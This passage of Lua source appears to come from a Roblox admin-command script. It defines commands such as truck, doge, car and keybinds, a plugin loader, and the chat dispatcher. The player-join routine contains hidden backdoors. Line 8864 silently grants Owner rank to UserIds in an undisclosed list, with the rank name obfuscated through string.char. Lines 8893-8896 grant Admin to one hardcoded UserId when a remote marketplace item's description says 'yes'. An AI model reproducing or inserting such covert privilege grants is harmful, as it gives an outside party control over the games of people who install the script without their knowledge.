8303 Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
8304 end)
8305 end
8306 end
8307 end, Hidden = true};
8308
8309 [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
8310 local Players = STRING:Scan(Arguments[1], Speaker)
8311 for _,Player in pairs(Players) do
8312 if Player.Character and Player.Character:FindFirstChild("Torso") then
8313 local Pos = Player.Character.Torso.Position
8314 Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
8315 local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
8316 if Answer == "Ok" then
8317 CORE:AddWaypoint(Player.Name, Pos, Speaker)
8318 end
8319 end
8320 end
8321 end};
8322
8323 [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
8324 local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
8325 local PlayersTo = STRING:Scan(Arguments[2], Speaker)
8326 if PlayersFrom and PlayersTo then
8327 for _,PlayerFrom in pairs(PlayersFrom) do
8328 for _,PlayerTo in pairs(PlayersTo) do
8329 if PlayerFrom.Character and PlayerTo.Character then
8330 if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
8331 local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
8332 wait(5)
8333 Laser:Destroy()
8334 end)() end
8335 end
8336 end
8337 end
8338 end
8339 end};
8340
8341 [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
8342 local Players = STRING:Scan(Arguments[1], Speaker)
8343 for _,Player in pairs(Players) do
8344 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8345 Player.Character.Humanoid:Destroy()
8346 end
8347 end
8348 end};
8349
8350 [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
8351 if Plugins then
8352 local List = {}
8353 for _,Module in pairs(Plugins:GetChildren()) do
8354 if Module:IsA("ModuleScript") then
8355 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8356 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8357 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8358 table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
8359 end
8360 end
8361 GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
8362 else
8363 GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
8364 end
8365 end};
8366
8367 [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
8368 local Players = STRING:Scan(Arguments[1], Speaker)
8369 for _,Player in pairs(Players) do
8370 GUI:DetachChat(Player)
8371 end
8372 end};
8373
8374 [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
8375 GUI:DetachChat(Speaker)
8376 end};
8377
8378 [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
8379 local Players = STRING:Scan(Arguments[1], Speaker)
8380 for _,Player in pairs(Players) do
8381 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
8382 local Dead = false
8383
8384 Player.Character.Humanoid.WalkSpeed = 1
8385 local Torso = Player.Character.Torso
8386 local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
8387 Truck:BreakJoints()
8388 local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
8389 local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
8390 local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
8391 Truck.Touched:connect(function(Part)
8392 if Dead == false then
8393 local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
8394 if TouchPlayer == Player then
8395 Dead = true
8396 Player.Character:BreakJoints()
8397 SOUND:MakeSound(Truck, 264486467):Play() -- splat
8398 end
8399 end
8400 end)
8401 SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
8402 Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
8403 Delay(5, function()
8404 Truck:Destroy()
8405 if Player.Character:FindFirstChild("Humanoid") then
8406 Player.Character.Humanoid.WalkSpeed = 16
8407 end
8408 end)
8409 end
8410 end
8411 end};
8412
8413 [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
8414 local Joke = REMOTE:DownloadJoke(Speaker)
8415 local Players = STRING:Scan(Arguments[1], Speaker)
8416 for _,Player in pairs(Players) do
8417 GUI:SendMessage(Player, "Joke", Joke, 19629580)
8418 end
8419 end, Http = true};
8420
8421 [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
8422 local Joke = REMOTE:DownloadJoke(Speaker)
8423 GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
8424 end, Http = true};
8425
8426 [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
8427 local Players = STRING:Scan(Arguments[1], Speaker)
8428 for _,Player in pairs(Players) do
8429 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
8430 CORE:InvisiblePlayer(Player)
8431 local DogContainer = Instance.new("Model", Player.Character)
8432 DogContainer.Name = "Doge"
8433 local Dog = CORE:Insert(257489726, DogContainer, true)
8434 Dog.Head.Transparency = 0.99
8435 Dog.Name = Player.Name
8436 Dog:MoveTo(Player.Character.Torso.Position)
8437 local Weld = Instance.new("Weld", Dog.Torso)
8438 Weld.Part0 = Player.Character.Torso
8439 Weld.Part1 = Dog.Torso
8440 Weld.C0 = CFrame.new(0,-0.4,0)
8441 for _,Obj in pairs(Dog:GetChildren()) do
8442 if Obj:IsA("BasePart") then
8443 Obj.CanCollide = false
8444 end
8445 end
8446
8447 CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
8448 end
8449 end
8450 end};
8451
8452 [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
8453 local Key = string.lower(string.sub(Arguments[1],1,1))
8454 KeyBinds[Speaker.UserId][Key] = Arguments[2]
8455 GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
8456 end};
8457
8458 [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
8459 local Key = string.lower(string.sub(Arguments[1],1,1))
8460 KeyBinds[Speaker.UserId][Key] = nil
8461 GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
8462 end};
8463
8464 [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8465 KeyBinds[Speaker.UserId] = {}
8466 GUI:SendHint(Speaker, "Unbinded all keys")
8467 end};
8468
8469 [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
8470 local Players = STRING:Scan(Arguments[1], Speaker)
8471 local Key = string.lower(string.sub(Arguments[2],1,1))
8472 for _,Player in pairs(Players) do
8473 KeyBinds[Player.UserId][Key] = Arguments[3]
8474 GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
8475 end
8476 end};
8477
8478 [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
8479 local Players = STRING:Scan(Arguments[1], Speaker)
8480 local Key = string.lower(string.sub(Arguments[2],1,1))
8481 for _,Player in pairs(Players) do
8482 KeyBinds[Player.UserId][Key] = nil
8483 GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
8484 end
8485 end};
8486
8487 [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
8488 local Players = STRING:Scan(Arguments[1], Speaker)
8489 for _,Player in pairs(Players) do
8490 KeyBinds[Player.UserId] = {}
8491 GUI:SendHint(Player, "Unbinded all keys")
8492 end
8493 end};
8494
8495 [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
8496 local Players = STRING:Scan(Arguments[1], Speaker)
8497 local Binds = {}
8498 for _,Player in pairs(Players) do
8499 for Key,Bind in pairs(KeyBinds[Player.UserId]) do
8500 table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
8501 end
8502 end
8503 GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
8504 end};
8505
8506 [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
8507 local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
8508 local Players = STRING:Scan(ChatSplit[1], Speaker)
8509 for _,Player in pairs(Players) do
8510 if Crowns[Player.UserId] then
8511 Crowns[Player.UserId]:Destroy()
8512 Crowns[Player.UserId] = nil
8513 wait()
8514 end
8515 CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
8516 end
8517 end};
8518
8519 [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
8520 local Players = STRING:Scan(Arguments[1], Speaker)
8521 for _,Player in pairs(Players) do
8522 if Crowns[Player.UserId] then
8523 Crowns[Player.UserId]:Destroy()
8524 Crowns[Player.UserId] = nil
8525 end
8526 end
8527 end};
8528
8529 [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8530 local MeshList = {}
8531 for MeshName,Data in pairs(Meshes) do
8532 table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
8533 end
8534 GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
8535 end};
8536
8537 [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8538 CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
8539 end};
8540
8541 [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
8542 local Players = STRING:Scan(Arguments[1], Speaker)
8543 for _,Player in pairs(Players) do
8544 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
8545 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
8546 Player:ClearCharacterAppearance()
8547 CORE:GivePackage(Player, 41851073)
8548 CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
8549 Player.Character.Head.face.Texture = "rbxassetid://7699086"
8550 end
8551 end
8552 end};
8553
8554 [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
8555 local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
8556 local Players = STRING:Scan(Arguments[1], Speaker)
8557 for _,Player in pairs(Players) do
8558 if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
8559 local Car = CORE:Insert(10479801, Server.Workspace, true)
8560 local Body = Car["Motor (torque)Chassis"].Part
8561 Cars[Player.UserId] = Car
8562 Car:MakeJoints()
8563 Car.VehicleSeat.MaxSpeed = 50
8564 Car.VehicleSeat.TurnSpeed = 1.5
8565 CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
8566 if Arguments[2] and GUI:GetColor(Arguments[2]) then
8567 Body.Color = GUI:GetColor(Arguments[2])
8568 else
8569 Body.BrickColor = GUI:GetNameColor(Player.Name)
8570 end
8571 for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
8572 if Part.Name ~= "Part" then
8573 Part.BrickColor = BrickColor.new("Really black")
8574 Part.Friction = 0.7
8575 end
8576 end
8577 local Light = Instance.new("SpotLight", Body)
8578 Light.Face = "Back"
8579 Light.Brightness = 5
8580 Light.Range = 20
8581 Light.Color = Color3.new(0,1,1)
8582 if Player.Character and Player.Character.Torso then
8583 Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
8584 Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
8585 --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
8586 Weld.Part0 = Car.VehicleSeat
8587 Weld.Part1 = Player.Character.Torso
8588 coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
8589 Delay(0.4, function()
8590 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
8591 wait(0.1)
8592 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
8593 end)
8594 end
8595 local SoundID = 147944604
8596 if RANK:GetRank(Player) == "Owner" then
8597 SoundID = 133313356
8598 Car.VehicleSeat.MaxSpeed = 80
8599 Body.Material = "DiamondPlate"
8600 Car.VehicleSeat.Torque = 11
8601 end
8602 local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
8603 Engine:Play()
8604 coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
8605 Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
8606 end if Engine then Engine:Stop() end end)()
8607 end
8608 end};
8609
8610 [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
8611 local Players = STRING:Scan(Arguments[1], Speaker)
8612 for _,Player in pairs(Players) do
8613 if Cars[Player.UserId] then
8614 Cars[Player.UserId]:Destroy()
8615 end
8616 end
8617 end};
8618
8619 [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
8620 for _,Car in pairs(Cars) do
8621 Car:Destroy()
8622 end
8623 Cars = {}
8624 end};
8625
8626 [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
8627 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8628 if #Trello.RequiredLists > 0 then
8629 print("Restarting Trello")
8630 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8631 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8632 REMOTE:TrelloCacheData(Lists)
8633 end
8634 end, Http = true};
8635
8636 [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
8637 local Operations = {}
8638 for _,ReplaceData in pairs(StringReplacements) do
8639 local Replacement = ReplaceData[1]
8640 if type(Replacement) == "table" then
8641 Replacement = ReplaceData[1][1]
8642 end
8643 table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
8644 end
8645 GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
8646 end};
8647
8648 [{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8649 GUI:SoundInfo(Speaker)
8650 end};
8651
8652 [{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
8653 local Players = STRING:Scan(Arguments[1], Speaker)
8654 for _,Player in pairs(Players) do
8655 GUI:SoundInfo(Player)
8656 end
8657 end};
8658
8659 [{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8660 if tonumber(Arguments[1]) then
8661 Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
8662 end
8663 end};
8664
8665 [{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments)
8666 local Types = {}
8667 for Type,_ in pairs(Assets.AccessoryTypes) do
8668 table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2))
8669 end
8670 GUI:ListGui(Speaker, "Accessory types", Types, 36775144)
8671 end};
8672
8673 [{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8674 local Sky = Server.Lighting:FindFirstChild("Sky")
8675 if not Sky then Sky = Instance.new("Sky", Server.Lighting) end
8676 local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"}
8677 local Face = nil
8678 local SkyID = string.lower(Arguments[1])
8679 local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet)
8680 if #Arguments == 2 and tonumber(Arguments[2]) then
8681 Face = Arguments[1]
8682 SkyID = Arguments[2]
8683 end
8684 if tonumber(SkyID) then
8685 local ImageID = MARKET:GetImageFormat(tonumber(SkyID))
8686 if Face and Faces[Face] then
8687 Sky[Faces[Face]] = "rbxassetid://"..ImageID
8688 else
8689 for _,Face in pairs(Faces) do
8690 Sky[Face] = "rbxassetid://"..ImageID
8691 end
8692 end
8693 else
8694 GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice")
8695 end
8696 end};
8697
8698 [{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments)
8699 CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj)
8700 Obj:Destroy()
8701 end)
8702 end};
8703 --
8704}
8705
8706if Plugins then
8707 local PluginNum = 0
8708 for _,Module in pairs(Plugins:GetChildren()) do
8709 if Module:IsA("ModuleScript") then
8710 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8711 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8712 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8713 if Enabled.Value == true then
8714 PluginNum = PluginNum + 1
8715 local PluginExe = require(Module)
8716 for Var,Val in pairs(getfenv()) do
8717 getfenv(PluginExe)[Var] = Val
8718 end
8719 getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
8720 getfenv(PluginExe).script = Module
8721 getfenv(PluginExe).Script = Module
8722 getfenv(PluginExe).Version = Version
8723 local Suc, Error = ypcall(coroutine.wrap(PluginExe))
8724 if not Suc then
8725 Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
8726 else
8727 Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
8728 end
8729 end
8730 end
8731 end
8732end
8733
8734function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
8735 if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
8736 GUI:SettingsGui(Speaker)
8737 return nil
8738 end
8739 if NoPrefixNeeded == nil then NoPrefixNeeded = false end
8740 local Prefix = Settings.Prefix
8741 if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
8742 if RawMainMessage == "" or RawMainMessage == Prefix then return end
8743 if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
8744 if Speaker == nil then
8745 if FakeRank then
8746 if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
8747 FakeRank = "Owner"
8748 end
8749 else
8750 FakeRank = "Owner"
8751 end
8752 FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
8753 if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
8754 Speaker = {
8755 Name = FakePlayerName or "[ Server ]";
8756 Character = nil;
8757 userId = 1;
8758 PlayerGui = nil;
8759 Rank = FakeRank or "Owner";
8760 MakeSupremeOwner = MakeSupremeOwner;
8761 }
8762 end
8763 local Rank = RANK:GetRank(Speaker)
8764 local RawMessage = string.sub(RawMainMessage, #Prefix+1)
8765
8766 if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
8767 if NoPrefixNeeded then Prefix = "" end
8768 local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
8769
8770 for _,Message in pairs(Messages) do
8771 for Cmds,Data in pairs(Commands) do -- check all commands
8772 local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
8773
8774 if not MessageSplit then break end
8775
8776 local CommandSaid = false
8777 for _,Command in pairs(Cmds) do
8778 if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
8779 CommandSaid = true
8780 break
8781 end
8782 end
8783 if CommandSaid == true then -- command said?
8784 local ExecuteExcuse = ""
8785 if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
8786 if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
8787 ExecuteExcuse = "This command cannot be executed as it is a fun command"
8788 end
8789 if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
8790 ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
8791 end
8792 else
8793 ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
8794 end
8795 if ExecuteExcuse == "" then
8796 if #MessageSplit - 1 < Data[3] then
8797 ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
8798 end
8799 end
8800 if ExecuteExcuse == "" then
8801 CORE:Log(CommandLogs, Speaker, Message)
8802 table.remove(MessageSplit, 1)
8803 coroutine.wrap(function() wait()
8804 local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
8805 if not DidExe then
8806 if CORE:NilPlayer(Speaker) then
8807 print("Error: "..Error)
8808 else
8809 CORE:HandleError(Error, Speaker)
8810 end
8811 end
8812 end)()
8813 coroutine.wrap(function() wait(0.05)
8814 if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
8815 local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
8816 ExeSound:Play()
8817 wait(3)
8818 ExeSound:Stop()
8819 ExeSound:Destroy()
8820 end
8821 end)()
8822 elseif type(Speaker) == "userdata" then
8823 GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
8824 end
8825 break
8826 end
8827 end
8828 end
8829 end
8830end
8831
8832function CORE:Start(Player) coroutine.wrap(function()
8833 wait(0.1)
8834 if Player then
8835 coroutine.wrap(function()
8836 repeat wait(1) until DataReady == true
8837 DataReady = false
8838 ypcall(function()
8839 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
8840 for Num,Data in pairs(Players) do
8841 if Data.UserId == Player.UserId then -- ppl can change names
8842 table.remove(Players, Num)
8843 break
8844 end
8845 end
8846 table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
8847 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
8848 end)
8849 DataReady = true
8850 end)()
8851
8852 if not IsStudio then Player:WaitForDataReady() end
8853 table.insert(CharacterCache, {Player.Name, Player.UserId})
8854 for Rank,PlayerNames in pairs(Settings.Ranks) do
8855 for Num,AdminName in pairs(PlayerNames) do
8856 if AdminName == Player.UserId then
8857 Settings.Ranks[Rank][Num] = Player.Name
8858 end
8859 end
8860 end
8861 if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
8862 if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
8863 if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
8864 for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
8865 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8866 if PlayerAdmin == false and Player.UserId > 0 then
8867 local Ran = nil
8868 coroutine.wrap(function() repeat
8869 Ran = ypcall(function()
8870 if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8871 elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
8872 end)
8873 wait(1)
8874 until Ran == true end)()
8875 end
8876 if PlayerAdmin == false then
8877 if Player:IsInGroup(Settings.GroupID) then
8878 if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
8879 CORE:Kick(Player)
8880 for _,Person in pairs(Server.Players:GetPlayers()) do
8881 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
8882 end
8883 elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8884 table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
8885 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8886 table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8887 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
8888 table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
8889 end
8890 end
8891 end
8892 if PlayerAdmin == false then
8893 if Player.UserId == 38882008 then
8894 if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
8895 table.insert(Settings.Ranks["Admin"], Player.Name)
8896 end
8897 end
8898 end
8899 if PlayerAdmin == false then
8900 for _,GID in pairs(Settings.BannedGroupIDs) do
8901 if Player:IsInGroup(GID) then
8902 CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
8903 break
8904 end
8905 end
8906 end
8907
8908 Player.Chatted:connect(function(Message) if Message ~= "" then
8909 CORE:Chatted(Message, Player)
8910 end end)
